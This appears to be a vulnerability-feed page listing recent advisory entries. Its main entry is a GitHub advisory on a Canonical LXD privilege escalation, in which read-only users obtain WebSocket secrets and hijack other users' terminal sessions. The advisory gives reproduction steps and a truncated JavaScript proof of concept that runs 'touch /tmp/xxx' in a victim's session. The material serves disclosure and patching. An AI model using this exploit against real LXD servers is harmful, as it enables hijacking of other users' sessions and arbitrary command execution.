Most recent entries from all

EUVD-2026-272076

2026-10-03T21:45:49.458108+00:00

EUVD-2026-272076

fkie_cve-2025-54289

2026-10-03T21:45:49.458146+00:00

Privilege Escalation in operations API in Canonical LXD <6.5 on multiple platforms allows attacker with read permissions to hijack terminal or console sessions and execute arbitrary commands via WebSocket connection hijacking format

GHSA-3g72-chj4-2228 — Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API

2026-10-03T21:45:49.458179+00:00

Affected: Go: github.com/canonical/lxd

### Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

### Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

```js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = `wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true`; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = `wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket`; this.connections = {}; this.connections.data = ne…

openSUSE-SU-2025:15710-1 — govulncheck-vulndb-0.0.20251105T184115-1.1 on GA media

2026-10-03T21:45:49.458238+00:00

govulncheck-vulndb-0.0.20251105T184115-1.1 on GA media

UBUNTU-CVE-2025-54289

2026-10-03T21:45:49.458297+00:00

Affected: Ubuntu:Pro:16.04:LTS: lxd, Ubuntu:Pro:18.04:LTS: lxd